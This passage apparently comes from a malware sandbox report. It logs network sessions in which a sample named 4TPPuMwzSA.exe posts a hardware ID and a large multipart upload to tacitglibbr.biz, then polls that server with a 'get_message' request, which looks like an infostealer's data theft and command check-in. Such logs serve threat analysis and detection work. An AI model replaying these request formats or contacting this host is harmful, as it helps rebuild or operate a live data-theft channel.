2024-12-16 09:37:18 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2D5SDMWQP0H4ZCBQ5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1227 Host: tacitglibbr.biz
2024-12-16 09:37:18 UTC	1227	OUT	Data Raw: 2d 2d 32 44 35 53 44 4d 57 51 50 30 48 34 5a 43 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 32 44 35 53 44 4d 57 51 50 30 48 34 5a 43 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 44 35 53 44 4d 57 51 50 30 48 34 5a 43 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --2D5SDMWQP0H4ZCBQ5Content-Disposition: form-data; name="hwid"CB29900043FFC055F9F1B7136A1E0C5E--2D5SDMWQP0H4ZCBQ5Content-Disposition: form-data; name="pid"1--2D5SDMWQP0H4ZCBQ5Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 09:37:19 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hv99lkq3bberr6kreadaosnqo3; expires=Fri, 11-Apr-2025 03:23:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3awhgYWr3bn3hYDQRh7mEOD%2B22%2FUAUqBe7LqEN3i0LSx2KEtZdlv6ljuOEyuQQqJZXlWSguaBUtlLF0XtrXZAfJggAqN2x9wNEECZvp4zq0987tZQ47uth0XBtB6qdiQ%2BA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db1aedfe47291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1972&rtt_var=771&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2142&delivery_rate=1391801&cwnd=218&unsent_bytes=0&cid=5687d1c20825fdf8&ts=729&x=0"
2024-12-16 09:37:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:37:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49760	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:21 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=48BQQVNTYO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584437 Host: tacitglibbr.biz
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 2d 2d 34 38 42 51 51 56 4e 54 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 34 38 42 51 51 56 4e 54 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 38 42 51 51 56 4e 54 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 38 42 51 51 56 4e 54 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --48BQQVNTYOContent-Disposition: form-data; name="hwid"CB29900043FFC055F9F1B7136A1E0C5E--48BQQVNTYOContent-Disposition: form-data; name="pid"1--48BQQVNTYOContent-Disposition: form-data; name="lid"PsFKDg--pablo--48BQQVNTYOContent-
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: c3 34 9b 6a da d6 b1 78 ff 3b 88 8e 0a 7e 06 99 e3 49 b2 11 51 f0 0c ea c4 dd e6 80 5d 5b 0c 4c 83 26 96 77 4b aa c9 0c 83 f8 9d 5b 62 a4 cb 10 69 fd 74 df b5 73 c4 de 43 d1 b0 af c8 0c 2f 83 89 6a 9d 58 13 ec 29 1c 8a 64 f2 93 54 74 26 0d 00 c6 e6 78 19 fe 14 85 96 76 fa 71 ea 71 63 15 c2 39 f3 1c 41 ea ec 86 22 a3 de 93 12 76 07 1b ca 8d 92 86 28 48 da 6f 9c e2 52 44 cb fd f4 88 26 f0 6d 4a 65 bd 43 25 27 58 85 19 f7 29 54 b3 bc c5 8f 61 d0 a6 f0 e1 9c 93 1e 58 92 ec cb 4a 8f 73 f9 db fb 71 85 40 12 bf 5a c2 0d 43 ac af 4e 6f 8a 9a 33 69 12 75 98 d5 e9 51 ce 2d 28 7f 56 ab 5c 9b 9e bc 58 b7 c3 34 12 c9 4e 43 51 fc 30 97 74 9a 03 c3 0a fb 61 6e 81 e9 6f e3 e7 c6 6b ec d1 0d 45 67 8f c7 ef f5 59 1b c5 d9 a9 10 6e 18 1b 35 a1 84 ec 06 8c 33 f0 d7 0c 6c 14 Data Ascii: 4jx;~IQ][L&wK[bitsC/jX)dTt&xvqqc9A"v(HoRD&mJeC%'X)TaXJsq@ZCNo3iuQ-(V\X4NCQ0tanokEgYn53l
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 0f 56 bb e5 57 24 57 7c b4 4e 77 8a a4 7b b4 71 9f 63 0e b8 55 89 9f bb bd f8 9f 80 dd 5f b7 3e e1 4f fe 24 2d 0e 8f f5 8a 2e 62 e2 75 c1 54 8d 18 f6 d9 e7 2b de 7c 78 19 e5 4e 1b 34 cc 3d 7d 07 8d eb 81 18 d6 8e 72 ea 1b eb 63 df b1 9b bd 0f 9e ed 9a 0e 4a b5 05 86 1f ff b6 c7 60 bc fb 56 ea c7 92 25 c3 fc 4c 5c d4 f9 5b 6d 6f cf f1 61 8f 29 bb c7 da 45 8a e2 2e 69 96 f7 f2 92 f8 c5 89 18 30 77 62 9e 51 77 90 72 0c 2e 10 a5 ea a4 d8 22 59 fa ef 67 1f f1 a2 b4 7a 9f d8 bf 13 8b b0 7c 98 65 48 35 78 93 53 9d 95 fe a5 9b de ea 13 3d 7b f5 fd e2 1b 99 cd d3 c3 4f 46 78 ee 51 aa 6e 53 a8 15 8c 7c ee d2 03 33 eb 1e 87 79 50 db d2 94 3a da 6e c1 81 4b 56 87 40 c8 fb cc 2d 81 e0 c3 e4 7c b9 ad 13 a9 97 fc b8 92 6b 29 75 88 62 bb f2 7e 89 9a 0c bb ff e8 8d 30 a8 Data Ascii: VW$W\|Nw{qcU_>O$-.buT+\|xN4=}rcJ`V%L\[moa)E.i0wbQwr."Ygz\|eH5xS={OFxQnS\|3yP:nKV@-\|k)ub~0
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 8c 6f e0 c2 a3 85 6e 4c 1f 2e dc 9a 73 e3 1b 31 d2 df 8a ba e8 a3 4f ef 2b 78 14 7a 6f d6 33 66 65 7f df a6 c0 7e ba 10 b6 f8 09 fb 46 72 75 27 9f ab 9e d0 de c8 9d db b3 fb 2d f9 d1 69 1c 92 eb 96 2b f5 30 14 69 12 8c 38 77 3f 9c e9 2b e4 f5 14 b4 aa 86 db 9b c8 2f 3a e1 6d 54 70 43 9b 8e b0 27 69 ed d2 81 c1 be ef 7c f8 b2 e1 74 3b 0e 8d 63 a3 b5 30 aa b5 55 f8 9a 96 7a 74 8f 02 b9 b0 d6 98 f5 d1 6f cb 58 3d 28 6c 6b e5 db 55 cb 44 2b 21 d2 a9 41 24 d5 1c 06 8b 97 07 17 b1 7a 72 30 a2 a1 26 69 df 5d d3 4b 67 18 67 13 8f 80 5e 11 f4 29 6b 32 d9 16 d8 9a 12 73 af a8 44 ee 7d 27 20 77 08 cc 1a 8e 6c de be ce 07 ca 34 63 4f 24 45 96 ef 0e 82 83 fd 42 40 00 d6 23 09 64 62 c8 73 ad c8 0f 28 5c f7 8f 1e 61 f0 f8 4d f9 c2 0f af 80 1b b9 22 84 cf b9 af 54 a4 c0 Data Ascii: onL.s1O+xzo3fe~Fru'-i+0i8w?+/:mTpC'i\|t;c0UztoX=(lkUD+!A$zr0&i]Kgg^)k2sD}' wl4cO$EB@#dbs(\aM"T
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 5d 52 8c e7 70 d1 3a 82 05 25 2c 59 4b 9c 69 f2 b4 55 c6 e8 e0 c1 b8 10 b9 a5 1d d0 37 86 5e 81 68 15 de 76 ec 4b 39 ac 22 78 d9 c0 1e 6e a6 8b 8b ca d4 d9 80 77 c4 e1 b2 2c c8 ef 4e a6 0c d7 3a 02 42 86 78 b3 56 e1 f6 46 a7 f7 03 3d cd 9d 9f de f8 88 6b 8e d5 1e 07 29 74 1b 26 f7 ef 36 39 7c f9 e6 45 e8 17 ea 32 c7 77 58 23 a3 fa c5 4e bd a9 4e ce 4e 86 8f e7 2b 7e fc f9 8f 53 b4 24 fc fa b3 a2 b8 28 10 26 b5 f8 e6 a4 ad 27 6f ea e2 d5 d7 c4 e9 de 4e 0b 37 b8 f1 b1 88 a0 f2 ac 68 e3 c2 a9 30 a8 ec 11 75 9f 8a 87 1b eb c1 98 8c df 53 46 f8 68 e3 b8 08 bf 09 37 c1 4d 07 a4 19 33 eb de 1e 0f 3f e5 cc 64 61 e9 a8 0e d9 bc 57 ca 81 00 ce 19 11 c4 26 04 35 44 f7 71 9f 1d e5 71 1b 53 e3 c1 4f c5 f5 3b 41 85 9b a9 c4 64 2d de 5d 80 63 82 9b 7e d9 90 37 01 bf 08 Data Ascii: ]Rp:%,YKiU7^hvK9"xnw,N:BxVF=k)t&69\|E2wX#NNN+~S$(&'oN7h0uSFh7M3?daW&5DqqSO;Ad-]c~7
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 98 c4 8b 27 52 5c 44 13 c3 1a f5 27 25 50 d7 85 5d 73 97 55 c7 64 4a 52 52 7c 35 0f 4c 24 17 dd d5 46 a9 c8 af 97 6e 57 96 42 ad 7d a4 36 c8 4e d2 b3 9a 38 a3 26 f2 f0 c0 1d fa 29 55 08 ec 5b 12 a1 d6 6c e0 f0 21 9e 10 dd a8 16 f8 ce bc 67 af dd 57 bb 31 51 30 39 90 34 f1 12 10 f6 31 2e 48 31 e6 1b f7 fa 11 da 3e c3 27 f8 46 00 e3 22 02 a1 9e e0 e0 3b 50 ab 04 28 47 fc 20 00 fa 3d 18 ae 1e f3 48 39 12 fc e1 b2 4d 49 18 2b c3 d3 3e 7f 63 5d e4 20 a9 9c 1b 7f 97 7c 8e c6 2c 70 6a ae 5a eb fb a1 1c fe 97 a7 98 6b ba 9e 59 a0 90 b8 de 8c 26 4b 0a 98 3d 9c 5d d9 ae 32 ba 67 50 c4 6b b5 c6 53 fd 8c fb d7 6a 76 7a d5 62 e6 c4 20 7b 41 8f 4b 4d 96 6a e0 7d 72 2a da f3 83 93 ae a8 8f 71 f2 1b fe 38 54 75 fe 02 2f 7f 37 e8 de 03 c2 3f 69 1e d3 01 57 fb 99 67 b0 60 Data Ascii: 'R\D'%P]sUdJRR\|5L$FnWB}6N8&)U[l!gW1Q0941.H1>'F";P(G =H9MI+>c] \|,pjZkY&K=]2gPkSjvzb {AKMj}r*q8Tu/7?iWg`
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 05 0a 13 f3 a2 0c 51 cc f5 e6 5a d3 be 5e 2f c5 30 15 87 5c 58 b3 75 2e e7 90 8a c0 ce c5 75 3f 3e ca ab 55 69 46 b2 3f f4 4e 99 c4 c2 00 d1 f5 ed 20 b6 cc 78 e9 ca 72 cd ed f9 3b dc 39 8f 47 17 30 20 91 5a b3 b1 da 4a 35 fd 0d 98 68 65 ae f3 a9 4f 5b b9 ca 0b 6f 35 45 3a 87 bb 34 11 ad 57 3c 4f 93 a6 12 66 d6 17 37 92 71 e3 20 7c 66 6a c1 b2 b4 cf a5 99 4e 9b e2 03 54 f6 73 1f 40 41 6d ac 41 54 01 40 3b 0d d1 45 83 c1 7c 8b 1f 38 2e 02 1c 68 1a dc a1 ad ce a1 4b 41 39 f3 34 93 9b 68 e6 ca c0 3f 01 d2 f6 13 a8 3b bc a1 17 71 9f 9c 80 ad 59 16 bd c6 90 42 51 8f 36 23 23 f4 e0 e6 c5 7b 93 94 03 d5 21 36 07 de 79 da f7 ee ad 6c 87 6a 2c 85 d0 33 4b 23 a4 be be b2 52 c7 78 b4 bd 08 6a 1d 82 15 c9 f4 13 7c b0 23 e6 e7 5c e0 2b 14 b9 96 86 fc e4 0d c6 51 4b 24 Data Ascii: QZ^/0\Xu.u?>UiF?N xr;9G0 ZJ5heO[o5E:4W<Of7q \|fjNTs@AmAT@;E\|8.hKA94h?;qYBQ6##{!6ylj,3K#Rxj\|#\+QK$
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: b1 dc 83 a2 b6 4d 57 46 02 eb 12 05 ab 97 50 70 94 ac d9 36 82 f6 83 bf fa 10 a2 e1 13 02 68 e2 29 47 56 90 59 4a e0 f4 4b 32 c8 86 d5 31 9c 4d 08 4e 25 92 05 37 cf ec 03 bd 3a 63 bf 5e 3d 0b 83 6d a4 c1 85 18 c8 06 af f3 02 e4 2b e3 06 fe d2 cd d6 96 02 4d 92 14 31 30 2b 0a b5 42 a4 08 aa d9 0f e1 9c 0b 44 6b 31 ce e5 c8 34 9f 0d 9f 0b dc 44 66 c9 e1 f1 e2 bd 86 43 42 98 03 d8 e6 e3 61 aa a8 d3 9a 90 00 b3 a0 9e 18 03 da 36 07 6a 47 52 ce 92 10 e5 97 c4 85 21 22 3c 80 1d 87 7e bc 6f 54 4c c0 02 5e 48 4c f1 e1 55 f8 33 40 11 f3 ef 37 7d 40 41 ef 15 42 a2 51 f0 34 b8 04 b2 0b 38 58 e6 7f 26 bb a3 23 14 4a 15 09 7a e8 9f 73 59 40 03 18 94 e6 c5 99 c4 a2 ad 5a 84 ea 56 62 38 57 b4 d0 36 dc 44 16 55 5b 70 78 38 ef f3 c2 9c 89 14 f2 2c 61 04 0b 7e ce 35 5a 68 Data Ascii: MWFPp6h)GVYJK21MN%7:c^=m+M10+BDk14DfCBa6jGR!"<~oTL^HLU3@7}@ABQ48X&#JzsY@ZVb8W6DU[px8,a~5Zh
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: 2e c4 47 30 bd 81 ca 8b fb fc 6e ae 4a b4 5a fe 4d 0f 0e c1 0b 7d 5a 11 6a bc 6a 3e 20 1f 27 c5 39 7e 24 49 11 85 da df 95 ad 6e 17 84 43 b9 a6 95 a9 1e 41 21 d7 33 c4 24 67 74 f6 f1 f3 bb 57 60 b7 bd 5b e5 7b f0 13 6f b7 f2 d6 0f 70 18 9b 41 ee 42 0c 1d 6d 4b bb 90 70 6a 2f f7 af 3d 8c 47 90 44 43 ba d6 d5 64 82 a4 b6 f7 b0 92 7d e8 41 ee e3 10 83 87 89 61 c8 77 53 e4 af ab 24 cd 1b cf be f0 a7 4f ff f7 da 53 36 12 cf 45 44 ad c8 4b 92 d8 fc c6 ec 3c f1 e0 fd a2 28 80 9a cd bc a8 d1 cc 8e 66 98 3e 89 d4 db 7c 5d ab 6e c5 5f e3 d5 8a 7c a3 94 c0 58 35 f4 26 08 ef 9f 0e 34 69 95 94 f9 f7 18 fc a9 3f 9e 92 f0 89 a6 82 7d ef ef b7 2e bf 6e 27 4b 93 23 ca 0f 06 c7 ac 7f d9 fe 7a e7 04 f9 0e 6f dc 1f b9 69 50 c8 cd 3d 45 b0 4c 2e 42 0a f7 2a de b8 00 07 02 6a Data Ascii: .G0nJZM}Zjj> '9~$InCA!3$gtW`[{opABmKpj/=GDCd}AawS$OS6EDK<(f>\|]n_\|X5&4i?}.n'K#zoiP=EL.B*j
2024-12-16 09:37:21 UTC	15331	OUT	Data Raw: e3 b7 7e bd 2f 29 ec d2 6b 4c 6f 94 ac 3c c4 ab 78 eb ed 17 c3 4b a0 6e fa 51 a8 39 67 f0 a3 2c 87 d7 5f 36 b0 1e e1 db 76 13 bb f2 bd 41 74 9c bd 73 70 a0 41 cc 03 af 14 de 46 ed 52 a6 fe 38 fb 63 13 e0 0d 7e da 30 2b a5 1b 3a f0 2e 94 1b 3c 9b 8d 96 2f ed 3c a7 3c e7 7c 73 78 27 7b f2 74 67 45 32 6e 75 1b 7b cd 62 a1 af 1c 5d 33 e3 5c c3 d6 28 99 a8 95 ed 1d 8d b1 11 07 ac 77 96 d5 7f 06 07 0e 0b 81 90 e9 9f 00 0c 04 fd f1 9c 65 1f 0f 13 d0 25 3d 13 60 dc 8c 64 0c 08 42 c4 84 13 9e 45 ff 68 28 99 cd f6 36 01 06 1b ff 05 8f 25 d7 31 ff 6f b9 83 36 44 de 88 ba f1 f3 e0 53 d1 8d 58 c5 de f0 94 2d 06 38 3d 94 89 b8 23 cb e6 aa 42 58 83 84 76 34 12 3b 4b 52 38 5b 8a 9a 10 8f 0c a6 97 b5 53 ef 2a ac 12 91 07 a2 be 6d 0f 09 f3 43 99 cb 48 9f 0b 60 da fd 8a fb Data Ascii: ~/)kLo<xKnQ9g,_6vAtspAFR8c~0+:.</<<\|sx'{tgE2nu{b]3\(we%=`dBEh(6%1o6DSX-8=#BXv4;KR8[S*mCH`
2024-12-16 09:37:24 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k0tljqplir5rt2sp83s4a9gm30; expires=Fri, 11-Apr-2025 03:24:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gJlC6lqBrZ2qkaCzR02wF742Nhj0nwUBlGnbqiT9NpZsKMCLabLw%2BI%2FXRntrkDik6DvsZGR4f0j8vAiI0MsPDbpKJYwi09VAZYjV%2F8kPv9lVOuMa3nQt%2FetpT2iFSf2e%2FZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db1be3c544249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&min_rtt=1647&rtt_var=635&sent=342&recv=609&lost=0&retrans=0&sent_bytes=2840&recv_bytes=587019&delivery_rate=1772920&cwnd=230&unsent_bytes=0&cid=6fc9bcbcd766f389&ts=2570&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49771	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:25 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 09:37:25 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CB29900043FFC055F9F1B7136A1E0C5E
2024-12-16 09:37:25 UTC	1025	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62j8ljeqim02obdardkjotdk4u; expires=Fri, 11-Apr-2025 03:24:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgsUH4KsvwAcpWLuDgCfFmVTb%2Bj5iV3SWjv3FPZwezj7OhPipr6a%2B%2BrVF5CUOSeA%2Flia%2FONXaiBi4AFcE7JgbOIHvLuIu%2FT%2Fmqk0cc9B4Z%2FgbxHtg%2BX3KlThDyknUZas%2BTc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db1d6ad9042eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2367&min_rtt=2342&rtt_var=896&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1246797&cwnd=211&unsent_bytes=0&cid=f502fcd3c51f16cf&ts=679&x=0"
2024-12-16 09:37:25 UTC	214	IN	Data Raw: 64 30 0d 0a 2b 76 4a 6a 38 6a 68 77 6c 59 36 69 43 54 6d 58 6e 73 33 65 50 44 38 43 52 43 77 53 4f 71 52 67 64 41 45 45 62 6e 31 4c 7a 43 6d 68 69 55 47 48 47 6b 71 33 35 74 5a 39 53 61 33 43 34 6f 49 54 44 6a 70 78 41 69 41 4c 6b 55 35 46 4d 44 64 41 54 48 32 51 42 70 57 55 42 61 34 58 46 50 44 6f 6a 47 78 42 38 72 7a 68 2f 46 70 4c 49 48 34 63 50 68 6a 42 51 6b 34 78 65 55 49 47 61 62 6b 4c 77 4e 41 4c 68 6b 77 41 72 39 4b 4e 56 52 61 6d 70 76 6a 77 44 67 34 33 61 68 30 6a 43 59 70 52 51 6c 30 72 48 51 6b 75 72 55 53 6d 33 52 47 54 56 68 54 36 34 34 78 73 51 66 4b 38 34 66 78 61 53 79 42 2b 48 44 34 59 77 55 4a 4f 4d 58 6b 7a 0d 0a Data Ascii: d0+vJj8jhwlY6iCTmXns3ePD8CRCwSOqRgdAEEbn1LzCmhiUGHGkq35tZ9Sa3C4oITDjpxAiALkU5FMDdATH2QBpWUBa4XFPDojGxB8rzh/FpLIH4cPhjBQk4xeUIGabkLwNALhkwAr9KNVRampvjwDg43ah0jCYpRQl0rHQkurUSm3RGTVhT644xsQfK84fxaSyB+HD4YwUJOMXkz
2024-12-16 09:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49823	142.250.181.68	443	1796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:49 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIk6HLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 09:37:50 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:50 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Tvy_JTBicDKJZX6I6rd_CQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 09:37:50 UTC	124	IN	Data Raw: 37 36 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 70 69 64 65 72 6d 61 6e 20 62 65 79 6f 6e 64 20 74 68 65 20 73 70 69 64 65 72 20 76 65 72 73 65 22 2c 22 7a 61 63 68 20 65 72 74 7a 22 2c 22 73 74 6f 63 6b 73 20 66 75 74 75 72 65 73 22 2c 22 66 6f 72 7a 61 20 68 6f 72 69 7a 6f 6e 20 64 65 6c 69 73 74 65 64 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 24 31 36 30 30 20 73 74 69 Data Ascii: 76a)]}'["",["spiderman beyond the spider verse","zach ertz","stocks futures","forza horizon delisted","colorado $1600 sti
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 6d 75 6c 75 73 20 63 68 65 63 6b 73 20 32 30 32 34 22 2c 22 63 69 6e 63 69 6e 6e 61 74 69 20 62 65 6e 67 61 6c 73 20 70 6c 61 79 6f 66 66 73 22 2c 22 6d 6f 72 74 67 61 67 65 20 72 65 66 69 6e 61 6e 63 65 20 72 61 74 65 73 22 2c 22 64 65 63 65 6d 62 65 72 20 31 35 20 66 75 6c 6c 20 6d 6f 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 Data Ascii: mulus checks 2024","cincinnati bengals playoffs","mortgage refinance rates","december 15 full moon"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugges
